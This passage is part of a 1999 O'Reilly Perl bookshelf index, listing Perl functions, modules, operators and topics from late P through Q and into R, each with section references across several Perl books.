Perl Cookbook, 16.14. Sending a Signal
Perl Cookbook, 16.15. Installing a Signal Handler
Perl Cookbook, 16.20. Blocking Signals
timing out operations : Perl Cookbook, 16.21. Timing Out an Operation
umask for : Programming Perl, 3.2.179. umask
variables for : Programming Perl, 2.9.3. Global Special Variables
waiting for : Programming Perl, 3.2.189. wait
Windows NT and : Learning Perl on Win32 Systems, 14.5. Win32::Process
zombie
Perl Cookbook, 16.0. Introduction
Perl Cookbook, 16.19. Avoiding Zombie Processes
Programming Perl, 6.2.1. Signals
processing shell commands : Programming Perl, 6.1.1. Command Processing
product_tokens() (HTTP::Daemon) : Perl in a Nutshell, Chapter 17, Reference: product_tokens
products, finding : Learning Perl, 9.4. Labeled Blocks
professors/students/courses example : Advanced Perl Programming, 2.3. Professors, Students, Courses
profiler, Perl (DProf) : Perl in a Nutshell, 6.5. The Perl Profiler
-prog option (perlcc) : Perl in a Nutshell, 3.4. The Perl Compiler
ProgID
Learning Perl on Win32 Systems, 19.2. Creating Automation Objects
Learning Perl on Win32 Systems, 19.3. Using Automation Objects
program flow control functions : Perl in a Nutshell, 5.1. Perl Functions by Category
program generators : Programming Perl, 6.4.1. Program Generation
program structure : Perl in a Nutshell, 4.1. Program Structure
$PROGRAM_NAME ($0) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
Programming Perl : (see Camel Book)
programming style : Programming Perl, 8.4. Programming with Style
programs
CGI : (see CGI programs)
command-line arguments, parsing : Perl Cookbook, 15.1. Parsing Program Arguments
controlling input/output of : Perl Cookbook, 16.8. Controlling Input and Output of Another Program
controlling with Expect : Perl Cookbook, 15.13. Controlling Another Program with Expect
core dump of : Programming Perl, 3.2.29. dump
executing : Programming Perl, 3.2.167. system
exiting : Programming Perl, 3.2.35. exit
filtering output : Perl Cookbook, 16.5. Filtering Your Own Output
gathering output from : Perl Cookbook, 16.1. Gathering Output from a Program
interface : (see user interfaces)
preprocessing input : Perl Cookbook, 16.6. Preprocessing Input
reading from/writing to : Perl Cookbook, 16.4. Reading or Writing to Another Program
reading STDERR from : Perl Cookbook, 16.7. Reading STDERR from a Program
replacing : Perl Cookbook, 16.3. Replacing the Current Program with a Different One
running multiple : Perl Cookbook, 16.2. Running Another Program
simulating telnet from : Perl Cookbook, 18.6. Simulating Telnet from a Program
testing if running interactively : Perl Cookbook, 15.2. Testing Whether a Program Is Running Interactively
progressive matching : Perl Cookbook, 6.5. Finding the Nth Occurrence of a Match
prompt, examples of
Learning Perl, 1.5.2. Asking Questions and Remembering the Result
Learning Perl on Win32 Systems, 1.6.2. Asking Questions and Remembering the Result
properties : Learning Perl on Win32 Systems, 19.1. Introduction to OLE Automation
document object (PerlScript) : Perl in a Nutshell, 20.1.1.2. Document properties
types of : Advanced Perl Programming, 20.3.6. Magic Variables
widgets
Advanced Perl Programming, A. Tk Widget Reference
Advanced Perl Programming, 14.3.1. Widget Properties
Proto option (IO::Socket::INET) : Perl in a Nutshell, 13.2.4. IO::Socket::INET Reference
protocol()
Frame widget module : Perl in a Nutshell, 18.18.1. Toplevel Methods
HTTP::Message module : Perl in a Nutshell, Chapter 17, Reference: protocol
IO::Socket module : Perl in a Nutshell, Chapter 13, Reference: protocol
protocols for Internet : Perl Cookbook, 18.0. Introduction
protocols, name-number translations
Programming Perl, 3.2.58. getprotobyname
Programming Perl, 3.2.59. getprotobynumber
protocols, socket : Perl Cookbook, 17.0. Introduction
prototype() : Perl in a Nutshell, Chapter 5, Reference: prototype
prototypes
Perl Cookbook, 10.11. Prototyping Functions
Perl Cookbook, 13.0. Introduction
Perl in a Nutshell, 4.7. Subroutines
Perl in a Nutshell, 4.7.5. Prototypes
Programming Perl, 2.7.3. Prototypes
proxy() (LWP::UserAgent) : Perl in a Nutshell, Chapter 17, Reference: proxy
proxy, submitting forms through : Perl Cookbook, 20.2. Automating Form Submission
pseudo-literals : (see input, operators)
pseudo-random numbers : (see random, numbers)
psgrep program (example) : Perl Cookbook, 1.18. Program: psgrep
pTk language : (see Perl/Tk toolkit)
public methods : Perl Cookbook, 13.0. Introduction
publishing systems : Learning Perl, 19.10.1. Custom Publishing Systems
purging : (see deleting)
push()
Perl Cookbook, 4.9. Appending One Array to Another
Perl Cookbook, 11.2. Making Hashes of Arrays
Learning Perl, 3.4.3. The push and pop Functions
Perl in a Nutshell, Chapter 5, Reference: push
Programming Perl, 3.2.112. push
circular lists : Perl Cookbook, 4.16. Implementing a Circular List
example of : Learning Perl, A.15. Chapter 16, System Database Access
Tie::IxHash module and : Perl Cookbook, 5.6. Retrieving from a Hash in Insertion Order
push_content() (HTML::Parser) : Perl in a Nutshell, Chapter 17, Reference: push_content
push_header() (HTTP::Headers) : Perl in a Nutshell, Chapter 17, Reference: push_header
put()
Perl in a Nutshell, Chapter 16, Reference: put
Programming Perl, 7.2.8.5. Using the Berkeley DB interface directly
Put() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: Put
PUT requests (CGI) : Perl in a Nutshell, 17.3.1. HTTP::Request
put_unique() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: put_unique
pwd command (Unix)
Learning Perl, 12.1. Moving Around the Directory Tree
Programming Perl, 8.3.1. Time Efficiency
PWD environment variable : Programming Perl, 7.2.7. Cwd - Get Pathname of Current Working Directory
pwd() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: pwd
Pwd() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: Pwd
Python language : Advanced Perl Programming, Why Perl?
closures in : Advanced Perl Programming, 4.5.2. Python
__getattr__ and __setattr__ : Advanced Perl Programming, 9.6.2. Python
modular programming in : Advanced Perl Programming, 6.9.2. Python
object orientation of : Advanced Perl Programming, 7.5.2. Python
references in : Advanced Perl Programming, 1.7.2. Python
run-time evaluation and error handling : Advanced Perl Programming, 5.7.2. Python

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Q

q command (CPAN.pm) : Perl in a Nutshell, Chapter 2, Reference: q
q command (debugger)
Perl in a Nutshell, Chapter 6, Reference: q
Programming Perl, 8.1.1. Debugger Commands
-q option (dprofpp) : Perl in a Nutshell, 6.5. The Perl Profiler
-Q option (dprofpp) : Perl in a Nutshell, 6.5. The Perl Profiler
\Q string metacharacter : Perl Cookbook, 1.13. Escaping Characters
q() : Perl Cookbook, 4.1. Specifying a List In Your Program
q// and qq// operators
Perl Cookbook, 1.0. Introduction
Perl in a Nutshell, Chapter 5, Reference: q/string/
Perl in a Nutshell, 4.6.1. Pattern-Matching Operators
qq() : Perl Cookbook, 4.1. Specifying a List In Your Program
qr// operator : Perl Cookbook, 6.10. Speeding Up Interpolated Matches
qty() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: qty
qualify() : Programming Perl, 7.2.61. Symbol - Generate Anonymous Globs; Qualify Variable Names
qualifying variable names : Programming Perl, 7.2.61. Symbol - Generate Anonymous Globs; Qualify Variable Names
quantifiers
Perl in a Nutshell, 4.6.6. Quantifiers
Programming Perl, 1.7.1. Quantifiers
Programming Perl, 2.4.1.1. The regular expression bestiary
Programming Perl, 8.3.1. Time Efficiency
atoms and : Programming Perl, 2.4.1.2. The rules of regular expression matching
queries
Advanced Perl Programming, 10.1. Persistence Issues
Advanced Perl Programming, 10.4.1.3. Query meta-data
Advanced Perl Programming, 11.2.9. Queries
Learning Perl, 19.2. Your CGI Program in Context
querying references : Advanced Perl Programming, 1.4. Querying a Reference
query() (URI::URL) : Perl in a Nutshell, Chapter 17, Reference: query
query_form() : Perl Cookbook, 20.2. Automating Form Submission
QUERY_STRING variable
Perl in a Nutshell, 9.1.1. Transferring the Form Data
Perl in a Nutshell, 9.4. CGI Environment Variables
QueryDataAvailable() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: QueryDataAvailable
QueryInfo() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: QueryInfo
QueryKey() (Win32::Registry) : Perl in a Nutshell, Chapter 19, Reference: QueryKey
QueryObjectType() (Win32::OLE) : Perl in a Nutshell, Chapter 19, Reference: QueryObjectType
QueryOption() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: QueryOption
QueryString collection : Perl in a Nutshell, 20.2.1. The Request Object
QueryValue() (Win32::Registry) : Perl in a Nutshell, Chapter 19, Reference: QueryValue
question mark : (see ? (question mark))
quiescent servers : Advanced Perl Programming, 12.3.3. Nonblocking Filehandles
QUIT command (SMTP) : Perl in a Nutshell, 14.1.2. The SMTP Protocol and the SMTP Session
quit()
Net::FTP module : Perl in a Nutshell, Chapter 16, Reference: quit
Net::NNTP module : Perl in a Nutshell, Chapter 15, Reference: quit
Net::POP3 module : Perl in a Nutshell, Chapter 14, Reference: quit
Net::SMTP module : Perl in a Nutshell, Chapter 14, Reference: quit
quitting : (see exiting)
infinite loops : Programming Perl, 2.6.4.2. For loops
Perl debugger : Programming Perl, 8.1.1. Debugger Commands
quot() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: quot
quotation marks
Programming Perl, 2.3.2.3. Pick your own quotes
Programming Perl, 2.4.1.1. The regular expression bestiary
Programming Perl, 4.5. Braces, Brackets, and Quoting
in braces : Programming Perl, 2.3.2.2. String literals
eval function and : Advanced Perl Programming, 5.3. Watch Your Quotes
in formline arguments : Programming Perl, 3.2.42. formline
strings and : Programming Perl, 2.3.2.2. String literals
quote() (DBI) : Perl in a Nutshell, Chapter 12, Reference: quote
quoted execution operator : (see ` (backquote))
quotemeta()
Perl Cookbook, 1.13. Escaping Characters
Perl in a Nutshell, Chapter 5, Reference: quotemeta
Programming Perl, 3.2.114. quotemeta
quotewords()
Perl Cookbook, 1.15. Parsing Comma-Separated Data
Programming Perl, 7.2.68. Text::ParseWords - Parse Text into a List of Tokens
quoting schemes : Perl in a Nutshell, 4.2.2. String Interpolation
quoting, line oriented : Programming Perl, 2.3.2.6. "Here" documents
qw()
Perl Cookbook, 4.1. Specifying a List In Your Program
Learning Perl, 19.4. Passing Parameters via CGI
Learning Perl on Win32 Systems, 1.6.5. More than One Secret Word
Learning Perl on Win32 Systems, 18.4. Passing Parameters via CGI
Programming Perl, 2.3.4. List Values and Arrays
qx() : Perl Cookbook, 4.1. Specifying a List In Your Program
qx// (quoted execution) operator
(see also ` (backquote))
Programming Perl, 2.3.7.1. Command input (backtick) operator

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: R

r command (CPAN.pm) : Perl in a Nutshell, Chapter 2, Reference: r
R command (debugger)
Perl in a Nutshell, Chapter 6, Reference: R
Programming Perl, 8.1.1. Debugger Commands
r command (Perl debugger) : Perl in a Nutshell, Chapter 6, Reference: r
-r file test operator
Learning Perl, 10.5. The -x File Tests
Learning Perl on Win32 Systems, 10.6. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
-R file test operator
Learning Perl, 10.5. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
-r option (dprofpp) : Perl in a Nutshell, 6.5. The Perl Profiler
-r option (perlbug) : Perl in a Nutshell, 6.6. The perlbug Program
\r sequence (carriage return) : Perl in a Nutshell, 4.6.3. Escaped Sequences
race conditions : Perl Cookbook, 19.4. Writing a Safe CGI Program
rad2deg() (example) : Perl Cookbook, 2.11. Doing Trigonometry in Degrees, not Radians
radians vs. degrees : Perl Cookbook, 2.11. Doing Trigonometry in Degrees, not Radians
radio_group() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: radio_group
radiobutton() (Menubutton) : Perl in a Nutshell, 18.14.2. Menubutton Methods
Radiobutton widget (Perl/Tk) : Perl in a Nutshell, 18.6. The Radiobutton Widget
radiobuttons
Advanced Perl Programming, A.1.1. Radiobutton
Advanced Perl Programming, 14.3.3. Radiobuttons and Checkbuttons
Perl Cookbook, 15.14. Creating Menus with Tk
raise() (Canvas) : Perl in a Nutshell, 18.12.3. Canvas Methods
RaiseError attribute (DBI) : Perl in a Nutshell, 12.2.3. Database Handles and Statement Handles
rand()
Advanced Perl Programming, 4.4.2.1. Random number generation
Perl Cookbook, 2.7. Generating Random Numbers
Perl Cookbook, 8.6. Picking a Random Line from a File
Learning Perl, 3.8. Exercises
Perl in a Nutshell, Chapter 5, Reference: rand
Programming Perl, 3.2.115. rand
examples of : Learning Perl, A.2. Chapter 3, Arrays and List Data
randcap program (example) : Perl Cookbook, 1.9. Controlling Case
random
access
to password file : Learning Perl, 16.1. Getting Password and Group Information
with seek() : Learning Perl, 17.4. Fixed-Length Random Access Databases
database access/insertion : Advanced Perl Programming, 10.1. Persistence Issues
email signatures : Perl Cookbook, 16.22. Program: sigrand
lines from files : Perl Cookbook, 8.6. Picking a Random Line from a File
numbers
Advanced Perl Programming, 4.4.2.1. Random number generation
Advanced Perl Programming, 4.4.2.1. Random number generation
Perl Cookbook, 2.0. Introduction
Perl Cookbook, 2.7. Generating Random Numbers
Programming Perl, 3.2.115. rand
Programming Perl, 3.2.158. srand
biasing : Perl Cookbook, 2.10. Generating Biased Random Numbers
ordering of lines in files : Perl Cookbook, 8.7. Randomizing All Lines
random-access I/O : Perl Cookbook, 8.12. Using Random-Access I/O
randomizing arrays : Perl Cookbook, 4.17. Randomizing an Array
range (..) operator
Perl Cookbook, 6.8. Extracting a Range of Lines
Perl in a Nutshell, 4.5.11.1. Range operator
Programming Perl, 2.5.15. Range Operator
Programming Perl, 8.2.3. Awk Traps
range (...) operator
Perl Cookbook, 6.8. Extracting a Range of Lines
Perl in a Nutshell, 4.5.11.1. Range operator
ranges of characters : Learning Perl, 7.3.1. Single-Character Patterns
raw_cookie() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: raw_cookie
RC_ mnemonics (HTTP::Status) : Perl in a Nutshell, 17.3.4. HTTP::Status
RCPT command (SMTP) : Perl in a Nutshell, 14.1.2. The SMTP Protocol and the SMTP Session
RDBMSs (relational databases)
Advanced Perl Programming, 7.1. OO: An Introduction
Advanced Perl Programming, 10.4. Relational Databases
$rdev file statistic : Programming Perl, 3.2.159. stat
re module : Perl in a Nutshell, 8.124. re
read()
Perl Cookbook, 8.0. Introduction
Perl Cookbook, 8.15. Reading Fixed-Length Records
Learning Perl, 17.4. Fixed-Length Random Access Databases
Perl in a Nutshell, Chapter 5, Reference: read
Programming Perl, 3.2.116. read
Read() (Win32::EventLog) : Perl in a Nutshell, Chapter 19, Reference: Read
read-only variables : Advanced Perl Programming, 3.3.2. Constants
ReadAttr() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: ReadAttr
ReadChar() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: ReadChar
readdir function
Perl Cookbook, 9.0. Introduction
Perl Cookbook, 9.5. Processing All Files in a Directory
Learning Perl, 12.5. Reading a Directory Handle
Perl in a Nutshell, Chapter 5, Reference: readdir
Programming Perl, 3.2.117. readdir
Programming Perl, 7.2.11. DirHandle - Supply Object Methods for Directory Handles
Programming Perl, 8.3.1. Time Efficiency
ReadEntireFile() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: ReadEntireFile
reader() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: reader
ReadFile() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: ReadFile
reading
data via low-level system call : Programming Perl, 3.2.166. sysread
email : (see email)
files : (see file contents; files)
from commands : Learning Perl, 14.3. Using Processes as Filehandles
from files
Learning Perl, 10.4. Using Filehandles
Learning Perl on Win32 Systems, 10.5. Using Filehandles
input : (see input)
news articles : Perl in a Nutshell, 15.1. The NNTP Protocol
permissions for processes : Programming Perl, 7.2.39. IPC::Open2 - Open a Process for Both Reading and Writing
Registry values : Learning Perl on Win32 Systems, 16.5. Opening and Reading Registry Values
shared memory segment ID : Programming Perl, 3.2.146. shmread
standard input : Learning Perl, 6.1. Input from STDIN
Usenet news : Perl Cookbook, 18.4. Reading and Posting Usenet News Messages
Readline module : Programming Perl, 8.1.4. Readline Support
ReadLine option (PERLDB_OPTS) : Perl in a Nutshell, 6.4. Customizing the Debugger
readline() : Perl in a Nutshell, Chapter 5, Reference: readline
readlink()
Learning Perl, 13.3.2. Creating Hard and Soft Links with Perl
Perl in a Nutshell, Chapter 5, Reference: readlink
Programming Perl, 3.2.118. readlink
example of : Learning Perl, A.12. Chapter 13, File and Directory Manipulation
ReadlKey module : Programming Perl, 8.1.4. Readline Support
readme command (CPAN.pm) : Perl in a Nutshell, Chapter 2, Reference: readme
ReadParse() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: ReadParse
readpipe() : Perl in a Nutshell, Chapter 5, Reference: readpipe
ReadRect() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: ReadRect
ready file descriptors : Programming Perl, 3.2.135. select (ready file descriptors)
real gid
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$REAL_GROUP_ID ($() variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
real uid
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$REAL_USER_ID ($<) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
real values, testing for : Programming Perl, 3.2.25. defined
Received: header line : Perl Cookbook, 3.11. Program: hopdelta
receiving sockets : Advanced Perl Programming, 12.2.1. Receiver
recipient() (Net::SMTP) : Perl in a Nutshell, Chapter 14, Reference: recipient
recno_demo program (example) : Perl Cookbook, 14.7. Treating a Text File as a Database Array
recompile command (CPAN.pm) : Perl in a Nutshell, Chapter 2, Reference: recompile
record delimiter
(see $ variables, $/ variable)
Perl in a Nutshell, 3.2. Command-Line Options
input delimiter
Learning Perl, 6.1. Input from STDIN
Learning Perl, 14.2. Using Backquotes
Learning Perl on Win32 Systems, 6.1. Input from STDIN
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 6.1.2. Switches
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
output delimiter
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 6.1.2. Switches
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
record-oriented persistence : Advanced Perl Programming, 10.3. Record-Oriented Approach
records : Perl Cookbook, 11.0. Introduction
binary tree structures : Perl Cookbook, 11.15. Program: Binary Trees
closures as objects : Perl Cookbook, 11.7. Using Closures Instead of Objects
comma-separated : (see CSV)
constructing : Perl Cookbook, 11.9. Constructing Records
counting in files : Perl Cookbook, 8.2. Counting Lines (or Paragraphs or Records) in a File
fixed-length
Perl Cookbook, 8.0. Introduction
Perl Cookbook, 8.15. Reading Fixed-Length Records
functions for : Perl in a Nutshell, 5.1. Perl Functions by Category
lastlog file : Perl Cookbook, 8.20. Program: laston
with pattern separators, reading : Perl Cookbook, 6.7. Reading Records with a Pattern Separator
random-access I/O : Perl Cookbook, 8.12. Using Random-Access I/O
reading/writing to text files : Perl Cookbook, 11.10. Reading and Writing Hash Records to Text Files
variable-length
Perl Cookbook, 8.9. Processing Variable-Length Text Fields
Programming Perl, 2.8. Formats
of various data strutures : Programming Perl, 4.7.5. More Elaborate Records
wtmp file : Perl Cookbook, 8.18. Program: tailwtmp
recursive
open functions : Programming Perl, 3.2.102. open
use of subroutines : Programming Perl, 2.7. Subroutines
processing files in directories : Perl Cookbook, 9.7. Processing All Files in a Directory Recursively
recv()
Perl in a Nutshell, Chapter 5, Reference: recv
Programming Perl, 3.2.119. recv
Socket module : Perl in a Nutshell, 13.1. Built-in Socket Functions
redirect()
Perl Cookbook, 19.8. Redirecting to a Different Location
Perl in a Nutshell, Chapter 10, Reference: redirect
Redirect() (Response object, PerlScript) : Perl in a Nutshell, 20.2.2.3. Response methods
redirecting : Advanced Perl Programming, 3.4.1. I/O Redirection
CGI error messages : Perl Cookbook, 19.2. Redirecting Error Messages
CGI requests : Perl Cookbook, 19.8. Redirecting to a Different Location
redo operator
Learning Perl, 9.3. The redo Statement
Perl in a Nutshell, Chapter 5, Reference: redo
Perl in a Nutshell, 4.3.1.5. Loop control
Programming Perl, 2.6.4.4. Loop control
Programming Perl, 3.2.120. redo
ref()
Advanced Perl Programming, 1.4. Querying a Reference
Advanced Perl Programming, 7.2.4. The Need for Polymorphism
Perl Cookbook, 11.0. Introduction
Perl Cookbook, 13.0. Introduction
Perl in a Nutshell, Chapter 5, Reference: ref
Perl in a Nutshell, 4.8.2. Dereferencing
Programming Perl, 3.2.121. ref
Programming Perl, 4.3.5. Other Tricks You Can Do with Hard References
references
(see also scalars)
Advanced Perl Programming, 1. Data References and Anonymous Storage
Advanced Perl Programming, 1.1.1. A Reference Is Just Another Scalar
Advanced Perl Programming, 1.2. Using References
Advanced Perl Programming, 20.3.1. Scalar Values
Perl Cookbook, 11.0. Introduction
Perl in a Nutshell, 4.8. References and Complex Data Structures
Perl in a Nutshell, 4.8.1. Creating References
Programming Perl, 4.1. What Is a Reference?
to anonymous arrays/hashes : Advanced Perl Programming, 1.2.3. References to Anonymous Storage
to arrays : Perl Cookbook, 11.1. Taking References to Arrays
arrays of scalar references : Perl Cookbook, 11.6. Creating Arrays of Scalar References
as hash keys : Perl Cookbook, 13.15. Creating Magic Variables with tie
autovivification : Perl Cookbook, 11.0. Introduction
blessed, IVs and : Advanced Perl Programming, 20.3.1.3. SVs and object pointers
C pointers : Advanced Perl Programming, 1. Data References and Anonymous Storage
in CGI programs : Learning Perl, 19.7.1. References
checking for : Programming Perl, 3.2.121. ref
circular
Advanced Perl Programming, 1.6.1. Reference Counts
Programming Perl, 5.3.9. A Note on Garbage Collection
closures as objects : Perl Cookbook, 11.7. Using Closures Instead of Objects
to constants : Advanced Perl Programming, 3.3.2. Constants
dereferencing : Advanced Perl Programming, 1.1.2. Dereferencing
to filehandles : Programming Perl, 4.2.6. Filehandle Referencers
to functions : Perl Cookbook, 11.4. Taking References to Functions
as hash values : Perl Cookbook, 5.12. Hashing References
to hashes : Perl Cookbook, 11.3. Taking References to Hashes
hashes of arrays : Perl Cookbook, 11.2. Making Hashes of Arrays
iterating over arrays by : Perl Cookbook, 4.5. Iterating Over an Array by Reference
to methods : Perl Cookbook, 11.8. Creating References to Methods
multidimensional arrays and : Programming Perl, 4.6. A Brief Tutorial: Manipulating Lists of Lists
multiple levels of : Advanced Perl Programming, 1.2.4. Dereferencing Multiple Levels of Indirection
nested data structures : Advanced Perl Programming, 1.3. Nested Data Structures
object references
Advanced Perl Programming, 7.2.2. Unique Identity
Programming Perl, 4.3.4. Using Object Methods
objects as : Programming Perl, 5.3.3. An Object Is Simply a Referenced Thingy
in other languages : Advanced Perl Programming, 1.7.1. Tcl
to packages, indirect : Perl Cookbook, 12.13. Referring to Packages Indirectly
passing
Perl in a Nutshell, 4.7.3. Passing References
Programming Perl, 2.7.2. Passing References
passing by : Perl Cookbook, 10.5. Passing Arrays and Hashes by Reference
performance and : Advanced Perl Programming, 1.2.2. Performance Efficiency
precedence and : Advanced Perl Programming, 1.1.6. Confusion About Precedence
querying : Advanced Perl Programming, 1.4. Querying a Reference
reference count
Advanced Perl Programming, 1.6.1. Reference Counts
Perl Cookbook, 11.0. Introduction
returning by : Perl Cookbook, 10.9. Returning More Than One Array or Hash
to scalars : Perl Cookbook, 11.5. Taking References to Scalars
selective aliases : Advanced Perl Programming, 3.3.1. Selective Aliasing
self-referential structures : Perl Cookbook, 13.13. Coping with Circular Data Structures
static allocation : Advanced Perl Programming, 1.1. Referring to Existing Variables
to subroutines
(see also closures)
Advanced Perl Programming, 4.1. Subroutine References
Advanced Perl Programming, 4.3. Closures
SWIG and : Advanced Perl Programming, 18.3. SWIG Features
symbolic
Advanced Perl Programming, B.6. Dynamic Behavior
Advanced Perl Programming, 1.5. Symbolic References
Advanced Perl Programming, 4.1.4. Symbolic References
Advanced Perl Programming, 6.1.2. Symbolic References
Perl Cookbook, 1.8. Expanding Variables in User Input
Perl Cookbook, 12.13. Referring to Packages Indirectly
syntax for : Advanced Perl Programming, B.1. References
typeglobs and
Advanced Perl Programming, 3.2.2.1. Efficient parameter passing
Advanced Perl Programming, 3.3.4. References to Typeglobs
use strict 'refs' : Programming Perl, 7.2.59. strict - Restrict Unsafe Constructs
referents : Perl Cookbook, 11.0. Introduction
referer() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: referer
"referrer" vs. "referer" : Perl Cookbook, 20.1. Fetching a URL from a Perl Script
refile() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: refile
reflection
Advanced Perl Programming, 6.8. Accessing the Symbol Table
Advanced Perl Programming, 6.9. Language Comparisons
regedit.exe, regedt32.exe utilities : Learning Perl on Win32 Systems, 16.4. The Registry
-regex option (perlcc) : Perl in a Nutshell, 3.4. The Perl Compiler
regexes : (see regular expressions)
RegExp tool : Advanced Perl Programming, 20.1. Reading the Source
regexps : (see regular expressions)
Registry access and management
Learning Perl on Win32 Systems, 16.4. The Registry
Perl in a Nutshell, 19.13. Win32::Registry
Registry module
Learning Perl on Win32 Systems, A.15. Chapter 16, System Information
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Learning Perl on Win32 Systems, 16.4. The Registry
Learning Perl on Win32 Systems, 16.4.1. The Registry Structure
regular expressions
(see also pattern matching)
(see also patterns)
Perl Cookbook, 1.16. Soundex Matching
Learning Perl, 1.5.7. Handling Varying Input Formats
Learning Perl on Win32 Systems, 1.6.7. Handling Varying Input Formats
Learning Perl on Win32 Systems, 7.1. Concepts About Regular Expressions
Perl in a Nutshell, 4.6. Regular Expressions
Programming Perl, 1.7. Regular Expressions
Programming Perl, 2.4.1. Regular Expressions
alternation in : Learning Perl, 7.3.2.4. Alternation
anchoring in
Learning Perl, 7.3.3. Anchoring Patterns
Learning Perl on Win32 Systems, 7.3.3. Anchoring Patterns
anchors : Perl in a Nutshell, 4.6.5. Anchors
backreferences : Programming Perl, 1.7.4. Backreferences
backtracking in : Learning Perl, 7.3.2.2. Multipliers
character classes
Learning Perl, 7.3.1. Single-Character Patterns
Perl in a Nutshell, 4.6.4. Character Classes
Programming Perl, 1.7. Regular Expressions
checking if strings are valid numbers : Perl Cookbook, 2.1. Checking Whether a String Is a Valid Number
commenting : Perl Cookbook, 6.4. Commenting Regular Expressions
compared with globbing : Learning Perl, 12.2. Globbing
definition of : Learning Perl, 7.1. Concepts About Regular Expressions
escaped sequences : Perl in a Nutshell, 4.6.3. Escaped Sequences
examples of
Learning Perl, 1.5.8. Making It Fair for the Rest
Learning Perl, 1.5.9. Making It a Bit More Modular
Learning Perl, 9.1. The last Statement
Learning Perl on Win32 Systems, 1.6.8. Making It Fair for the Rest
Learning Perl on Win32 Systems, 1.6.9. Making It a Bit More Modular
Learning Perl on Win32 Systems, 9.1. The last Statement
extended syntax
Learning Perl on Win32 Systems, D.8. Additional Regular Expression Features
Perl in a Nutshell, 4.6.8. Extended Regular Expressions
Programming Perl, 2.4.1.4. Regular expression extensions
functions for : Perl in a Nutshell, 5.1. Perl Functions by Category
fuzzy matching : Perl Cookbook, 6.13. Approximate Matching
grouping patterns of : Learning Perl, 7.3.2. Grouping Patterns
honoring locale settings : Perl Cookbook, 6.12. Honoring Locale Settings in Regular Expressions
matching precedence : Programming Perl, 2.4.1.2. The rules of regular expression matching
metacharacters : (see metacharacters)
multiple-byte matching : Perl Cookbook, 6.18. Matching Multiple-Byte Characters
non-special characters of : Learning Perl, 7.3.1. Single-Character Patterns
pattern match variables : Perl in a Nutshell, 4.6.7. Pattern Match Variables
pattern matching operators
Perl in a Nutshell, 4.5.7. Pattern Match Operators
Perl in a Nutshell, 4.6.1. Pattern-Matching Operators
precedence in
Learning Perl, 7.3.4. Precedence
Learning Perl on Win32 Systems, 7.3.4. Precedence
quantifiers : Perl in a Nutshell, 4.6.6. Quantifiers
special (predefined) variables
Perl in a Nutshell, 4.4.5. Regular Expression Special Variables
Programming Perl, 2.9.1. Regular Expression Special Variables
split() and : Learning Perl, 7.6.1. The split Function
tcgrep program : Perl Cookbook, 6.22. Program: tcgrep
testing for invalid patterns : Perl Cookbook, 6.11. Testing for a Valid Pattern
urlify program : Perl Cookbook, 6.21. Program: urlify
useful and interesting (list) : Perl Cookbook, 6.23. Regular Expression Grabbag
variable interpolation : Learning Perl, 7.4.4. Using Variable Interpolation
rel() (URI::URL) : Perl in a Nutshell, Chapter 17, Reference: rel
relational databases (RDBMSs)
Advanced Perl Programming, 7.1. OO: An Introduction
Advanced Perl Programming, 10.4. Relational Databases
relational operators
(see comparison operators)
Perl in a Nutshell, 4.5.4.1. Relational operators
Programming Perl, 2.5.11. Relational Operators
relative indexing : Advanced Perl Programming, 14.3.5.3. Insertion with relative indexing
release()
Win32::Mutex module : Perl in a Nutshell, Chapter 19, Reference: release
